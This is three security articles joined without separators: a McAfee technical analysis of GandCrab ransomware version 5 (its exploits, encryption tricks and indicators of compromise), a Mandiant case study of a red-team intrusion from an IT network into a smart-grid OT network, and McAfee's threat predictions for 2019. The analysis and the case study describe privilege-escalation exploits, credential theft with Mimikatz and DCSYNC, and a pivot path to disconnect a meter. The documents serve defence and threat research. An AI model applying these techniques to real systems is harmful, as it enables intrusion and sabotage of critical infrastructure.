The developers market the affiliate program like a “members-only club” and new affiliates are lining up to join, in the hope of making easy money through the large-scale ransomware extortion scheme.
The prospect of making money not only attracts new affiliates, but also leads to the formation of new alliances between GandCrab and other criminal services that strengthen the malware’s supply and distribution networks.
One of these alliances became obvious during Version 4, in which the ransomware started being distributed through the new Fallout exploit kit.
This alliance was again emphasized in the GandCrab Version 5 announcement, as the GandCrab crew openly endorsed FalloutEK.
The GandCrab Version 5 announcement.
With Version 5, yet another alliance with a criminal service has been formed.
The malware crypter service NTCrypt announced that it is partnering with the GandCrab crew.
A crypter service provides malware obfuscation to evade antimalware security products.
The NTCrypt-GandCrab partnership announcement offering a special price for GandCrab users.
The partnership between GandCrab and NTCrypt was established in a novel way.
At the end of September, the GandCrab crew started a “crypt competition” on a popular underground forum to find a new crypter service they could partner with.
NTCrypt applied and eventually won the competition.
The “crypt competition” announcement.
This novel approach emphasizes once more the cult status GandCrab has in the underground community.
For a criminal business such as GandCrab, building these alliances makes perfect sense: They increase the ease of operation and a trusted affiliate network minimizes their risk exposure by allowing them to avoid less-trusted suppliers and distributors.
For the security community it is worrisome to see that GandCrab’s aggressive marketing strategy seems to be paying off.
It is generating a strong influx of criminal interest and allows the GandCrab crew to form alliances with other essential services in the cybercriminal supply chain.
GandCrab overview GandCrab Version 5 uses several mechanisms to infect systems.
The following diagram shows an overview of GandCrab’s behavior.
GandCrab Version 5 Infection Entry vector GandCrab uses several entry vectors: Remote desktop connections with weak security or bought in underground forums Phishing emails with links or attachments Trojanized legitimate programs containing the malware, or downloading and launching it Exploits kits such as RigEK and others such as FalloutEK PowerShell scripts or within the memory of the PowerShell process (the later mainly in Version 5.0.2) Botnets such as Phorpiex (an old botnet that spread not only this malware but many others)
The goal of GandCrab, as with other ransomware , is to encrypt all or many files on an infected system and insist on payment to unlock them.
The developer requires payment in cryptocurrency, primarily Dash (or Bitcoin in some older versions), because it is complex to track and quick to receive the payment.
The malware is usually, but not always, packed.
We have seen variants in .exe format (the primary form) along with DLLs.
GandCrab is effectively ransomware as a service; its operators can choose which version they want.
Version 5.0 This version has two releases.
The first works only on Windows 7 or later due to a big mistake in the compiling time.
Version 5.0 carries two exploits that try to elevate privileges.
It checks the version of the operating system and the TokenIntegrityLevel class of the process.
If the SID Subauthority is SECURITY_MANDATORY_LOW_RID (0x1000), it tries to execute the exploits if it also passed one previous check of a mutex value.
One release is the exploit released in August on Twitter and GitHub by the hacker “SandboxEscaper.”
The Twitter handle for this hacker is https://twitter.com/sandboxescaper .
This exploit tries to use a problem with the Task System in Windows when the operating system improperly handles calls to an advanced local procedure call.
The GandCrab authors claim there is no CVE of this exploit, but that is incorrect.
It falls under CVE-2018-8440.
This exploit can affect versions Windows 7 through Windows 10 Server.
More information about this exploit can be found at this link .
In the first release of Version 5.0, the malware authors wrote the code exploit using normal calls to the functions.
Thus at compiling time the binary has the IAT filled with the DLL needed for some calls.
This DLL does not exist in Windows Vista and XP, so the malware fails to run in these systems, showing an error.
Import of xpsprint.dll that will not run on Windows XP or Vista.
The exploit using direct calls.
This release published an HTML file after encrypting the user’s files, but this file was faulty because it did not always have the information needed to decrypt the user’s files.
The second release uses dynamic calls and obfuscates the strings of the exploit, as shown in the previous image.
(Earlier they were in plain text.)
The exploit with dynamic calls and obfuscated strings.
The second exploit is covered under CVE-2018-8120, which in Windows 7, Windows Server 2008 R2 and Windows Server 2008 allows an elevation of privileges from the kernel.
Thanks to a faulty object in the token of the System process, changing this token in the malware results in executing the malware with System privileges.
Executing the exploit CVE-2018-8120.
You can read more about this exploit on mcafee.com.
The malware checks the version of the operating system and type of user and whether it can get the token elevation information of its own process before employing the use of exploits.
In some cases, it fails to infect.
For example, in Windows XP the second release of Version 5 runs but does not encrypt the files.
(We thank fellow researcher Yassine Lemmou, who shared this information with us.)
We and Lemmou know where the problem is in Version 5.0.2.
A few changes to the registry could make the malware run correctly, but we do not want to help the malware authors fix their product.
Even though GandCrab’s authors quickly repair mistakes as they are pointed out, they still fail to find some of the basic errors by themselves.
(McAfee has had no contact with GandCrab’s developers.)
The second release writes a random extension of five letters instead of using the normal .CRAB or .KRAB extension seen in previous versions.
The malware keeps this information as binary data in a new registry entry in the subkey “ext_data\\data” and in the value entry of “ext.”
A new registry entry to hold the random extension.
The malware tries creating this new entry in the root key of HKEY_LOCAL_MACHINE.
If it cannot—for example, because the user does not have admin rights—it places the entry in the root key HKEY_CURRENT_USER.
This entry is deleted in some samples after the files have been encrypted.
Version 5.0.1 This version fixed some internal bugs in the malware but made no other notable changes.
Version 5.0.2 This version changes the random extension length from 5 to 10 characters and fixes some internal bugs.
Other bugs remain, however, meaning files cannot always be encrypted.
The latest This section is based on the latest version of the malware (Version 5.0.2 on October 4), though some elements appear in earlier releases of Version 5.
Starting with this version, the malware uses two exploits to try to elevate privileges in the system.
The first exploit uses a dynamic call to the function IsWoW64Process to detect whether the operating system is running in 32 or 64 bits.
The dynamic call to IsWoW64Process with obfuscated strings.
Depending on the result, the malware has two embedded DLLs, encrypted with a simple operation XOR 0x18.
Decrypting the DLL to load with the exploit and fix the header.
The malware authors use a clever trick with fuzzing to avoid detection: The first two bytes of the DLL are trash, something that is later fixed, as we see in the preceding image.
After decryption and loading the exploit, this DLL creates a mutex in the system and some pipes to communicate with the main malware.
The malware creates a pipe that the DLL reads later and prepares strings as the mutex string for the DLL.
Preparing the string for the DLL.
The DLL has dummy strings for these strings.
Creating the new mutex and relaunching the process.
This mutex is checked when the malware starts.
The function returns a 1 or 0, depending on whether it can open the mutex.
Later, this result is checked and if the mutex can be opened the malware will avoid checking the version and will not use the two new exploits to elevate privileges.
Opening the new mutex to check if there is a need to run the exploits.
As with GandCrab Version 4.x and later, the malware later checks the version.
If it is Vista or later, it tries to get the “TokenIntegrityLevel” class and relaunch the binary to elevate its privilege with a call to “ShellExecuteExW” with the “runas” application.
If the system is Windows XP, the code will avoid that and continue in its normal flow.
This mutex is never created for the main malware; it is created for the DLL loaded using the exploit.
To better understand this explanation, this IDA snippet may help: Explaining the check of mutex and exploits.
This version changes the desktop wallpaper, which is created at runtime and is filled with the extension generated to encrypt the files.
(The ransom note text or HTML has the name: <extension_in_uppercase>_DECRYPT.
<txt|html>) and the user name of the machine.)
Creating the new wallpaper at runtime.
The username is checked with “SYSTEM.”
If the user is “SYSTEM,” the malware puts the name “USER” in the wallpaper.
Checking the name of the user for the wallpaper.
The wallpaper is created in the %TEMP% folder with the name pidor.bmp.
Creating the wallpaper in the temp folder.
Here is an example of strings used in the wallpaper name and to check the name of the user and the format string, whether it is another user, or the final string in the case of SYSTEM user with USER in uppercase.
The name of the wallpaper and special strings.
Finally, the wallpaper is set for any user other than SYSTEM: Changing the wallpaper.
The malware detects the language of the system and decrypts the strings and writes the correct ransom note in the language of the system.
Coverage Customers of McAfee gateway and endpoint products are protected against the latest GandCrab versions.
Detection names include Ran-Gandcrabv4!
and many others.
An independent researcher, Twitter user Valthek, has also created several vaccines.
(McAfee has verified that these vaccines are effective.)
The version for GandCrab 4.x through 5.0.2 can prevent the files from being encrypted.
For Version 4.x, the deletion of shadow volumes cannot be avoided but at least the files themselves are kept safe.
For Version 5.x, encrypting the files can be avoided but not the creation and changing of the wallpaper, which the malware will still corrupt.
The malware cannot create random extensions to encrypt the files but will prepare the string.
Running the vaccine a second time removes the wallpaper if it is in the %TEMP% folder.
The vaccine has versions with and without persistence.
The version with persistence creates a random filename in a special folder and writes a special random entry in the registry to run each time with the system.
In this case, the machine will always be protected against this malware (at least in its current state of October 10, and perhaps in the future).
Indicators of compromise These samples use the following MITRE ATT&CK ™ techniques: File deletion System information discovery Execution through API Execution through WMIC Application process discovery: to detect antimalware and security products as well as normal programs Query registry: to get information about keys that the malware needs to create or read Modify registry File and directory discovery: to search for files to encrypt Discovery of network shares to encrypt them Encrypt files Process discovery: enumerating all processes on the endpoint to kill some special ones Create files Elevation of privileges Change wallpaper Flood the network with connections Create mutants Hashes e168e9e0f4f631bafc47ddf23c9848d7: Version 5.0 6884e3541834cc5310a3733f44b38910:
Version 5.0 DLL 2d351d67eab01124b7189c02cff7595f: Version 5.0.2 41c673415dabbfa63905ff273bdc34e9: Version 5.0.2 1e8226f7b587d6cd7017f789a96c4a65: DLL for 32-bit exploit fb25dfd638b1b3ca042a9902902a5ff9: DLL for 64-bit exploit df1a09dd1cc2f303a8b3d5097e53400b: botnet related to the malware (IP 92.63.197.48)
High-profile security incidents in the past decade have brought increased scrutiny to cyber security for operational technology (OT).
However, there is a continued perception across critical infrastructure organizations that OT networks are isolated from public networks—such as the Internet.
In Mandiant’s experience, the concept of an ‘air gap’ separating OT assets from external networks rarely holds true in practice.
In 2018, we released a blog post presenting the tools and techniques that TEMP.Veles used during the TRITON incident to traverse from an external compromise of the information technology (IT) network of a critical infrastructure organization to the safety systems located deep in the OT network.
We regularly reproduce this approach in our OT-focused red team engagements to expose similar attack paths across client infrastructure and to identify environment specific opportunities to prevent and detect network propagation techniques across intermediary systems.
In this blog post, we share another case study from one of our OT Red Team engagements to illustrate the tactics, techniques, and procedures (TTPs) that can be leveraged by sophisticated threat actors to breach the protected perimeter between an IT network and an OT network.
We also examine some of the different types of critical information often found in IT networks that an attacker can leverage during later stages of the Targeted Attack Lifecycle.
The goal of this engagement was to access an endpoint meter control infrastructure for a state-wide smart grid environment from the Internet and turn it off.
To hear our experts relay more on this and other OT Red Team lessons learned, join our FireEye Mandiant Virtual Summit session .
Visit our website to learn more about Mandiant’s OT security practice or contact us directly to request Mandiant services or threat intelligence .
Building the Foundation: Information Gathering for IT-OT Network Propagation Targeted OT attacks attempting to cause physical impacts require planning.
A sophisticated actor who is motivated to disrupt or modify an industrial process from a public network will necessarily need to maintain access to the victim environment and remain undetected for enough time to accomplish their objective.
Throughout this time, the actor will strive to learn about the control process to formulate the attack, figure out how to pivot to the OT systems and bypass security controls, and sometimes even develop or deploy custom OT malware.
Similar to the techniques used by TEMP.Veles to reach the OT network during the TRITON incident , Mandiant’s experience during red team engagements highlights that collecting information from IT network assets plays a crucial role in targeted OT attacks.
As a result, the internal reconnaissance phase for OT targeted attacks begins in the enterprise network, where the actor obtains knowledge and resources to propagate from an initial compromise in the IT network to remote access in the OT network.
Detailed information collected about the target, their security operations, and their environment can also support an actor's attempts at remaining undetected while expanding operations.
Figure 1:
Targeted OT attack from a public network Thinking Like an Adversary: How to Turn Off Smart Energy Meters
The ideal scenario for an attacker targeting OT systems is to achieve their objective while remaining undetected.
Mandiant’s Red Team works with clients across critical infrastructure industries to simulate attack scenarios in which actors can accomplish this goal by gaining access to OT systems via compromise of external facing IT networks.
During these engagements, we emulate real actor behaviors to learn about our target and to determine the best paths for IT/OT network propagation.
For this engagement, we simulated an end-to-end OT-specific attack scenario in which we tested the security controls and response capabilities of an organization to protect smart grid meter control infrastructure from an external attacker.
Mandiant leveraged weaknesses in people, process, and technology to gain remote access from the public Internet and to achieve a set of pre-approved objectives in the OT environment.
Establishing a Foothold in the IT Network Mandiant conducted a spear phishing exercise to gain initial access into the client’s enterprise network from the Internet.
We defined a combination of two different phishing scenarios that we deployed to test email filtering and egress monitoring controls: Embedded link for a malicious file hosted on a Mandiant owned domain on the Internet Email attachment for a Microsoft Office document with auto - executable macro code This exercise allowed our team to achieve code execution on a user workstation in the enterprise environment and to establish an unattributable egress communication path to a Mandiant hosted Cobalt Strike Command and Control (C&C) server on the Internet.
After establishing a stable communication path with workstations in the enterprise environment, we utilized the following publicly available offensive security tools (OST) to escalate privileges and to obtain domain administrator level access: ldapsearch to enumerate information in the enterprise domain PowerSploit to exploit common security misconfigurations in IT WMImplant to move laterally from one system to another in the internal network Mimikatz to extract credentials for local user and domain administrator accounts As domain administrators, we gained unrestricted access to a variety of resources connected to the enterprise domain (e.g.
server resources, file shares, IT applications, and administrator consoles for IT systems).
During the initial stages of our engagement, our actions were in no way different to other less sophisticated intrusions on industrial organizations, such as financially-motivated compromises.
Defining Our Path to the OT Network Similar to real world threat actors carrying out targeted OT attacks, Mandiant’s OT Red Team dedicates significant effort for internal reconnaissance in the IT network to develop a logical mapping of the extended network architecture and discover targets of interest (people, processes, or technology).
The information we acquire helps us to (a) define paths to propagate from the IT to the OT network and (b) achieve our final objective in the OT network without raising alarms.
During OT Red Team engagements across different industries, we follow a real attacker’s cost-benefit analysis to determine which sources or methods are most likely to help us obtain that information.
Figure 2:
Information sources and target information from enterprise networks For this engagement, we leveraged the domain administrator credentials obtained in the previous phase to gain access to Microsoft System Center Configuration Manager (SCCM) in the IT network.
Logged into the SCCM console, we leveraged software deployment features for collection to establish C&C over user workstations belonging to pre-selected departments in the client organization.
Mandiant chose the specific groups based on the names of their departments and the description attributes, which suggested a high likelihood of member users with high privilege access for network infrastructure or application management.
This included members of the following groups: network management, firewall administration, control engineering, and smart meter operations.
Access to user workstations of target employees in these departments enabled us to: Capture keystrokes to obtain remote desktop protocol (RDP) credentials for the OT network by using a Cobalt Strike modified script Login to department file shares and extract OT system design documents Extract network design documents and backup files for OT firewall configurations found in the firewall management console Find plaintext credentials for OT management systems from operation manuals Internal reconnaissance in the IT network not only allowed us to obtain remote access credentials for the OT network, but to also gain a deeper understanding of the business processes and technical control system operations in the OT environment by reviewing internal OT-specific operational procedures and security documentation such as asset inventories and configurations.
Propagating to the OT Network During the process of propagation from IT to OT networks, an actor will leverage previously compromised systems, credentials, or applications to access systems in higher security zones—such as OT demilitarized zones (DMZ).
Based on our observations during multiple red teaming engagements and research, the most likely attack vectors for propagation are: Table 1: Most likely attack vectors for IT/OT propagation For this engagement, we initially analyzed the system architecture to define the best path to follow.
Engineers from the target organization were required to use multi-factor-authentication (MFA) to gain remote access to jumpbox servers in the OT network.
While not impossible, bypassing this setup would require more time and resources.
We instead decided to search for other plausible attack propagation paths.
Figure 3:
Formal communication path from enterprise to OT network Reviewing the firewall configuration files, we identified a dedicated communication path for management access to a Microsoft Windows patch management server in a DMZ between the IT network and the OT network.
This patch management server was running on a virtual machine in the DMZ network, while the administration console for the underlying hypervisor software itself was hosted in the IT network.
Mandiant logged into the administration console for the hypervisor software using IT network domain administrator credentials.
We then leveraged guest machine administration features via direct console access to execute commands on the patch management server in the DMZ network.
The compromise of the patch management server in the DMZ allowed us to pivot via SMB connections to Microsoft Windows-based intermediary systems in the OT network.
Figure 4:
Remote attack propagation path from IT network to OT network
Lastly, we compromised Microsoft Windows server systems in the OT network to complete the objectives of the exercise.
Using OT credentials retrieved in the previous phases, we authenticated to the SMB service (using single factor authentication) by pivoting through the patch management server in the DMZ network.
This enabled us to execute remote console commands on management servers (such as the domain controller) in the OT network.
With access to the domain controller in the core OT network, we extracted credentials for high privilege domain administrator accounts in the OT network using DCSYNC and Mimikatz.
Using these accounts, we gained control of management servers, application servers, and operator workstations in the OT network.
Mandiant was also able to use compromised credentials to login to the human machine interface (HMI) portal for the meter control infrastructure and issue a disconnect command for a target endpoint meter in the smart grid environment.
Strategic Collection and Detection Opportunities During Reconnaissance and Network Propagation Although specific capabilities such as malware and tooling vary amongst incidents, internal reconnaissance and network propagation are consistently needed for sophisticated adversaries to expand remote operations from external networks to OT systems.
Focusing collection, detection, and hunting efforts on assets or information that are likely to be compromised during these phases presents defenders with strategic opportunities to hunt for and detect targeted adversary activity before it poses a risk to control systems.
In a previous blog post stating our approach to OT security, we highlighted that IT networks close to production networks and OT intermediary systems remain the best zones to detect OT targeted attacks, a.k.a.
“ The Funnel of Opportunity ”.
As actors pivot across systems and networks to gather information and elevate privileges, they leave footprints that can be tracked before they propagate to critical systems.
An actor who covertly performs internal reconnaissance and propagates to the OT network is already positioned to cause damage on mission critical assets and is unlikely to be discovered.
Early detection of adversary activity before reaching critical OT systems will decrease the dwell time and the risk of an incident.
OT defenders can prioritize collection and detection, alert triage, and incident response efforts by becoming familiar with the types of information and services that OT focused threat actors commonly search for during internal reconnaissance in IT networks and network propagation across OT intermediary systems.
Understanding where this information resides presents defenders with a catalog of systems and networks to focus collection and detection efforts on.
Defenders can create tailored detections to hunt for adversary activity pursuing this information, prioritize alert response efforts, and identify additional security controls to implement.
Mandiant red teaming in OT can help organizations identify which data is valuable for attackers to support their network propagation efforts and which systems are most likely to be compromised by attackers targeting OT networks.
Visit our website for more information or to request Mandiant services or threat intelligence .
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By McAfee Labs on Nov 29, 2018 These predictions were written by Eoin Carroll, Taylor Dunton, John Fokker, German Lancioni, Lee Munson, Yukihiro Okutomi, Thomas Roccia, Raj Samani, Sekhar Sarukkai, Dan Sommer, and Carl Woodward.
As 2018 draws to a close, we should perhaps be grateful that the year has not been entirely dominated by ransomware , although the rise of the GandCrab and SamSam variants show that the threat remains active.
Our predictions for 2019 move away from simply providing an assessment on the rise or fall of a particular threat, and instead focus on current rumblings we see in the cybercriminal underground that we expect to grow into trends and subsequently threats in the wild.
We have witnessed greater collaboration among cybercriminals exploiting the underground market, which has allowed them to develop efficiencies in their products.
Cybercriminals have been partnering in this way for years; in 2019 this market economy will only expand.
The game of cat and mouse the security industry plays with ransomware developers will escalate, and the industry will need to respond more quickly and effectively than ever before.
Social media has been a part of our lives for more than a decade.
Recently, nation-states have infamously used social media platforms to spread misinformation.
In 2019, we expect criminals to begin leveraging those tactics for their own gain.
Equally, the continued growth of the Internet of Things in the home will inspire criminals to target those devices for monetary gain.
One thing is certain: Our dependency on technology has become ubiquitous.
Consider the breaches of identity platforms, with reports of 50 million users being affected.
It is no longer the case that a breach is limited to that platform.
Everything is connected, and you are only as strong as your weakest link.
In the future, we face the question of which of our weakest links will be compromised.
—Raj Samani, Chief Scientist and McAfee Fellow, Advanced Threat Research Twitter @Raj_Samani
Predictions Cybercriminal Underground to Consolidate, Create More Partnerships to Boost Threats Artificial Intelligence the Future of Evasion Techniques Synergistic Threats Will Multiply, Requiring Combined Responses Misinformation, Extortion Attempts to Challenge Organizations’ Brands Data Exfiltration Attacks to Target the Cloud Voice-Controlled Digital Assistants the Next Vector in Attacking IoT Devices Cybercriminals to Increase Attacks on Identity Platforms and Edge Devices Under Siege Cybercriminal Underground to Consolidate, Create More Partnerships to Boost Threats Hidden hacker forums and chat groups serve as a market for cybercriminals, who can buy malware, exploits, botnets, and other shady services.
With these off-the-shelf products, criminals of varying experience and sophistication can easily launch attacks.
In 2019, we predict the underground will consolidate, creating fewer but stronger malware-as-a-service families that will actively work together.
These increasingly powerful brands will drive more sophisticated cryptocurrency mining, rapid exploitation of new vulnerabilities, and increases in mobile malware and stolen credit cards and credentials.
We expect more affiliates to join the biggest families, due to the ease of operation and strategic alliances with other essential top-level services, including exploit kits, crypter services, Bitcoin mixers, and counter-antimalware services.
Two years ago, we saw many of the largest ransomware families, for example, employ affiliate structures.
We still see numerous types of ransomware pop up, but only a few survive because most cannot attract enough business to compete with the strong brands, which offer higher infection rates as well as operational and financial security.
At the moment the largest families actively advertise their goods; business is flourishing because they are strong brands (see GandCrab) allied with other top-level services, such as money laundering or making malware undetectable.
Underground businesses function successfully because they are part of a trust-based system.
This may not be a case of “honor among thieves,” yet criminals appear to feel safe, trusting they cannot be touched in the inner circle of their forums.
We have seen this trust in the past, for example, with the popular credit card shops in the first decade of the century, which were a leading source of cybercrime until major police action broke the trust model.
As endpoint detection grows stronger, the vulnerable remote desktop protocol (RDP) offers another path for cybercriminals.
In 2019 we predict malware, specifically ransomware, will increasingly use RDP as an entry point for an infection.
Currently, most underground shops advertise RDP access for purposes other than ransomware, typically using it as a stepping stone to gain access to Amazon accounts or as a proxy to steal credit cards.
Targeted ransomware groups and ransomware-as-a-service (RaaS) models will take advantage of RDP, and we have seen highly successful under-the-radar schemes use this tactic.
Attackers find a system with weak RDP, attack it with ransomware, and propagate through networks either living off the land or using worm functionality (EternalBlue).
There is evidence that the author of GandCrab is already working on an RDP option.
We also expect malware related to cryptocurrency mining will become more sophisticated, selecting which currency to mine on a victim’s machine based on the processing hardware (WebCobra) and the value of a specific currency at a given time.
Next year, we predict the length of a vulnerability’s life, from detection to weaponization, will grow even shorter.
We have noticed a trend of cybercriminals becoming more agile in their development process.
They gather data on flaws from online forums and the Common Vulnerabilities and Exposures database to add to their malware.
We predict that criminals will sometimes take a day or only hours to implement attacks against the latest weaknesses in software and hardware.
We expect to see an increase in underground discussions on mobile malware, mostly focused on Android, regarding botnets, banking fraud, ransomware, and bypassing two-factor authentication security.
The value of exploiting the mobile platform is currently underestimated as phones offer a lot to cybercriminals given the amount of access they have to sensitive information such as bank accounts.
Credit card fraud and the demand for stolen credit card details will continue, with an increased focus on online skimming operations that target third-party payment platforms on large e-commerce sites.
From these sites, criminals can silently steal thousands of fresh credit cards details at a time.
Furthermore, social media is being used to recruit unwitting users, who might not know they are working for criminals when they reship goods or provide financial services.
We predict an increase in the market for stolen credentials—fueled by recent large data breaches and by bad password habits of users.
The breaches lead, for example, to the sale of voter records and email-account hacking.
These attacks occur daily.
Artificial Intelligence the Future of Evasion Techniques To increase their chances of success, attackers have long employed evasion techniques to bypass security measures and avoid detection and analysis.
Packers, crypters, and other tools are common components of attackers’ arsenals.
In fact, an entire underground economy has emerged, offering products and dedicated services to aid criminal activities.
We predict in 2019, due to the ease with which criminals can now outsource key components of their attacks, evasion techniques will become more agile due to the application of artificial intelligence.
Think the counter-AV industry is pervasive now?
This is just the beginning.
In 2018 we saw new process-injection techniques such as “process doppelgänging” with the SynAck ransomware, and PROPagate injection delivered by the RigExploit Kit.
By adding technologies such as artificial intelligence, evasion techniques will be able to further circumvent protections.
Different evasions for different malware
In 2018, we observed the emergence of new threats such as cryptocurrency miners, which hijack the resources of infected machines.
With each threat comes inventive evasion techniques: Cryptocurrency mining:
Miners implement a number of evasion techniques.
Minerva Labs discovered WaterMiner, which simply stops its mining process when the victim runs the Task Manager or an antimalware scan.
Exploit kits: Popular evasion techniques include process injection or the manipulation of memory space and adding arbitrary code.
In-memory injection is a popular infection vector for avoiding detection during delivery.
Botnets: Code obfuscation or anti-disassembling techniques are often used by large botnets that infect thousands of victims.
In May 2018, AdvisorsBot was discovered using junk code, fake conditional instructions, XOR encryption, and even API hashing.
Because bots tend to spread widely, the authors implemented many evasion techniques to slow reverse engineering.
They also used obfuscation mechanisms for communications between the bots and control servers.
Criminals use botnets for activities such as DDOS for hire, proxies, spam, or other malware delivery.
Using evasion techniques is critical for criminals to avoid or delay botnet takedowns.
Advanced persistent threats: Stolen certificates bought on the cybercriminal underground are often used in targeted attacks to bypass antimalware detection.
Attackers also use low-level malware such as rootkits or firmware-based threats.
For example, in 2018 ESET discovered the first UEFI rootkit, LoJax.
Security researchers have also seen destructive features used as anti-forensic techniques:
The OlympicDestroyer malware targeted the Olympic Games organization and erased event logs and backups to avoid investigation.
Artificial intelligence the next weapon In recent years, we have seen malware using evasion techniques to bypass machine learning engines.
For example, in 2017 the Cerber ransomware dropped legitimate files on systems to trick the engine that classifies files.
In 2018, PyLocky ransomware used InnoSetup to package the malware and avoid machine learning detection.
Clearly, bypassing artificial intelligence engines is already on the criminal to-do list; however, criminals can also implement artificial intelligence in their malicious software.
We expect evasion techniques to begin leveraging artificial intelligence to automate target selection, or to check infected environments before deploying later stages and avoiding detection.
Such implementation is game changing in the threat landscape.
We predict it will soon be found in the wild.
Synergistic Threats Will Multiply, Requiring Combined Responses This year we have seen cyber threats adapt and pivot faster than ever.
We have seen ransomware evolving to be more effective or operate as a smoke screen.
We have seen cryptojacking soar, as it provides a better, and safer, return on investment than ransomware.
We can still see phishing going strong and finding new vulnerabilities to exploit.
We also noticed fileless and “living off the land” threats are more slippery and evasive than ever, and we have even seen the incubation of steganography malware in the Pyeongchang Olympics campaign .
In 2019, we predict attackers will more frequently combine these tactics to create multifaced, or synergistic, threats.
What could be worse?
Attacks are usually centered on the use of one threat.
Bad actors concentrate their efforts on iterating and evolving one threat at a time for effectiveness and evasion.
When an attack is successful, it is classified as ransomware, cryptojacking, data exfiltration, etc., and defenses are put in place.
At this point, the attack’s success rate is significantly reduced.
However, if a sophisticated attack involves not one but five top-notch threats synergistically working together, the defense panorama could become very blurry.
The challenge arises when an attempt is made to identify and mitigate the attack.
Because the ultimate attack goals are unknown, one might get lost in the details of each threat as it plays a role in the chain.
One of the reasons synergic threats are becoming a reality is because bad actors are improving their skills by developing foundations, kits, and reusable threat components .
As attackers organize their efforts into a black-market business model, they can focus on adding value to previous building blocks.
This strategy allows them to orchestrate multiple threats instead of just one to reach their goals.
An example is worth a thousand words Imagine an attack that starts with a phishing threat—not a typical campaign using Word documents, but a novel technique.
This phishing email contains a video attachment.
When you open the video, your video player does not play and prompts you to update the codec.
Once you run the update, a steganographic polyglot file (a simple GIF) is deployed on your system.
Because it is a polyglot (a file that conforms to more than one format at the same time), the GIF file schedules a task that fetches a fileless script hosted on a compromised system.
That script running in memory evaluates your system and decides to run either ransomware or a cryptocurrency miner.
That is a dangerous synergistic threat in action.
The attack raises many questions: What are you dealing with?
Is it phishing 2.0?
Is it stegware?
Is it fileless and “living off the land”?
Cryptojacking?
Ransomware?
It is everything at the same time.
This sophisticated but feasible example demonstrates that focusing on one threat may not be enough to detect or remediate an attack.
When you aim to classify the attack into a single category, you might lose the big picture and thus be less effective mitigating it.
Even if you stop the attack in the middle of the chain, discovering the initial and final stages is as important for protecting against future attempts.
Be curious, be creative, connect your defenses Tackling sophisticated attacks based on synergic threats requires questioning every threat.
What if this ransomware hit was part of something bigger?
What if this phishing email pivots to a technique that employees are not trained for?
What if we are missing the real goal of the attack?
Bearing these questions in mind will not only help capture the big picture, but also get the most of security solutions.
We predict bad actors will add synergy to their attacks, but cyber defenses can also work synergistically.
Cybercriminals to Use Social Media Misinformation, Extortion Campaigns to Challenge Organizations’ Brands The elections were influenced, fake news prevails, and our social media followers are all foreign government–controlled bots.
At least that’s how the world feels sometimes.
To say recent years have been troubled for social media companies would be an understatement.
During this period a game of cat and mouse has ensued, as automated accounts are taken down, adversaries tactics evolve, and botnet accounts emerge looking more legitimate than ever before.
In 2019, we predict an increase of misinformation and extortion campaigns via social media that will focus on brands and originate not from nation-state actors but from criminal groups.
Nation-states leverage bot battalions to deliver messages or manipulate opinion, and their effectiveness is striking.
Bots often will take both sides of a story to spur debate, and this tactic works.
By employing a system of amplifying nodes, as well as testing the messaging (including hashtags) to determine success rates, botnet operators demonstrate a real understanding of how to mold popular opinion on critical issues.
In one example, an account that was only two weeks old with 279 followers, most of which were other bots, began a harassment campaign against an organization.
By amplification, the account generated an additional 1,500 followers in only four weeks by simply tweeting malicious content about their target.
Activities to manipulate public opinion have been well documented and bots well versed in manipulating conversations to drive agendas stand ready.
Next year we expect that cybercriminals will repurpose these campaigns to extort companies by threatening to damage their brands.
Organizations face a serious danger.
Data Exfiltration Attacks to Target the Cloud
In the past two years, enterprises have widely adopted the Software-as-a-Service model, such as Office 365, as well as Infrastructure- and Platform-as-a-Service cloud models, such as AWS and Azure.
With this move, far more corporate data now resides in the cloud.
In 2019, we expect a significant increase in attacks that follow the data to the cloud.
With the increased adoption of Office 365, we have noticed a surge of attacks on the service— especially attempts to compromise email.
One threat the McAfee cloud team uncovered was the botnet KnockKnock, which targeted system accounts that typically do not have multifactor authentication.
We have also seen the emergence of exploits of the trust model in the Open Authorization standard.
One was launched by Fancy Bear, the Russian cyber espionage group, phishing users with a fake Google security app to gain access to user data.
Similarly, during the last couple of years we have seen many high-profile data breaches attributed to misconfigured Amazon S3 buckets.
This is clearly not the fault of AWS.
Based on the shared responsibility model, the customer is on the hook to properly configure IaaS/PaaS infrastructure and properly protect their enterprise data and user access.
Complicating matters, many of these misconfigured buckets are owned by vendors in their supply chains, rather than by the target enterprises.
With access to thousands of open buckets and credentials, bad actors are increasingly opting for these easy pickings.
McAfee has found that 21% of data in the cloud is sensitive—such as intellectual property, and customer and personal data—according to the McAfee Cloud Adoption and Risk Report.
With a 33% increase in users collaborating on this data during the past year, cybercriminals know how to seek more targets: Cloud-native attacks targeting weak APIs or ungoverned API endpoints to gain access to the data in SaaS as well as in PaaS and serverless workloads Expanded reconnaissance and exfiltration of data in cloud databases (PaaS or custom applications deployed in IaaS) expanding the S3 exfiltration vector to structured data in databases or data lakes Leveraging the cloud as a springboard for cloud-native man-in-the-middle attacks (such as GhostWriter, which exploits publicly writable S3 buckets introduced due to customer misconfigurations) to launch cryptojacking or ransomware attacks into other variants of MITM attacks.
Voice-Controlled Digital Assistants the Next Vector in Attacking IoT Devices As tech fans continue to fill their homes with smart gadgets, from plugs to TVs, coffee makers to refrigerators, and motion sensors to lighting, the means of gaining entry to a home network are growing rapidly, especially given how poorly secured many IoT devices remain.
But the real key to the network door next year will be the voice-controlled digital assistant, a device created in part to manage all the IoT devices within a home.
As sales increase—and an explosion in adoption over the holiday season looks likely—the attraction for cybercriminals to use assistants to jump to the really interesting devices on a network will only continue to grow.
For now, the voice assistant market is still taking shape, with many brands still looking to dominate the market, in more ways than one, and it is unclear whether one device will become ubiquitous.
If one does take the lead, its security features will quite rightly fall under the microscope of the media, though not perhaps before its privacy concerns have been fully examined in prose.
(Last year we highlighted privacy as the key concern for home IoT devices.
Privacy will continue to be a concern, but cybercriminals will put more effort into building botnets, demanding ransoms, and threatening the destruction of property of both homes and businesses).
This opportunity to control a home’s or office’s devices will not go unnoticed by cybercriminals, who will engage in an altogether different type of writing in relation to the market winner, in the form of malicious code designed to attack not only IoT devices but also the digital assistants that are given so much license to talk to them.
Smartphones have already served as the door to a threat.
In 2019, they may well become the picklock that opens a much larger door.
We have already seen two threats that demonstrate what cybercriminals can do with unprotected devices, in the form of the Mirai botnet, which first struck in 2016, and IoT Reaper, in 2017.
These IoT malware appeared in many variants to attack connected devices such as routers, network video recorders, and IP cameras.
They expanded their reach by password cracking and exploiting known vulnerabilities to build worldwide robot networks.
Next year we expect to see two main vectors for attacking home IoT devices: routers and smartphones/ tablets.
